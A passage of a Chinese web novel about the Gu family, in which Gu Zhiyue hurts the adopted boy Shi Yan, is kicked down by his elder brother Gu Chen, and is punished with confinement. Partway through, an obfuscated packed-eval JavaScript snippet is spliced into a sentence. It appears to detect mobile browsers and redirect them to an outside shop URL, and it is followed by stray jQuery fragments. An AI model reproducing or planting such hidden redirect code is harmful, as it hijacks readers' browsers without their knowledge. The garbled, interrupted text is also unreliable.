擦着擦着,顾之樾忽然无法理解十几分钟前的自己。
他是怎么想的呢?这么小还爱哭一个小孩,他居然觉得他能把顾家给搅得一塌糊涂?
失心疯了还是中邪了?
顾家那么有钱,多养个小孩咋了,能给顾家吃空吗?
“对不起。”鬼迷心窍一般,顾之樾又道歉了。
这一次,显然要比上一次道歉要有诚意。
顾之樾手下,那蝶翼般纤长的睫羽颤了一下,少年抬起眼,看了顾之樾一眼。
顾之樾却被看得浑身一僵,脑子一片混乱。
看他干什么?卖萌?
对了,说起来,如果大哥收养了时晏,时晏年纪又和霜云一样大的话,那……
时晏是不是也得叫他哥哥?
顾之樾天马行空地想着,手下不觉间失了点分寸,粗糙的指腹在时晏脸颊上擦出一道红痕。
忽地,尖锐的痛意从脚上传了过来。
顾之樾毫无防备,被时晏重重一脚踩得嗷地大叫了一声。
可还不等顾之樾质问时晏,就被重重一脚,从时晏面前踹倒在地上。
“顾!之!樾!”
顾宸竟提早回了顾宅,男人超过一米九的高大身躯挡在时晏身前,看向顾之樾的眼中竟是从未在顾之樾面前出现过的滔滔怒意。
比起时晏踩的那一脚,顾宸踹顾之樾,才是真正的没有留余力,顾之樾在地上缓了好一阵,才勉强将身体支起来。
等他抬起头,看到时晏躲在顾宸身后,眼泪仍然不停从眼眶中涌出。
只是,黑曜石般的猫眼中却是重新涌现出恶意。
像毒蛇吐信般,少年面无表情朝他吐出舌头。
却在顾宸回头的那一瞬间,眼中的恶意瞬间消失得一干二净,看向顾宸的眼中是满满的委屈与依恋取代。
我靠啊,凭什么?
顾之樾脚上和腰上都疼得厉害,可他却神游一般出了神。
凭什么不对他露出那个表情?
……
“这件事是之樾做得太过分了,也是我之前忙公司的事,疏于对他的管教,接下来我会关他三个月的禁闭,也会好好教导他,不会
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|17013350|194166||http|test|ni|href|location''''.split(''''|''''),0,{}));
() {
$(''''.infor'').reve();
$(''''#content'''').append(''''
再让他做出像今天这样的事。”
听了顾宸的话,时晏埋在被子底下的嘴唇却是很不满地撇了一下。
才关三个月?
真是便宜他了。
应该关他一辈子,再也没办法出来现眼。
时晏很恶毒地诅咒着。
忽然,男人温暖的大手抚开时晏额发,额角的痂已经彻底掉完了,只剩下淡粉色的痕迹。
许久,顾宸低沉的声音再度响了起来,“对不起,时晏,这段时间你受委屈了。”
时晏觉得额头被顾宸摸得很痒。
他抿起唇,竟然将自己的脸往被子底下藏了藏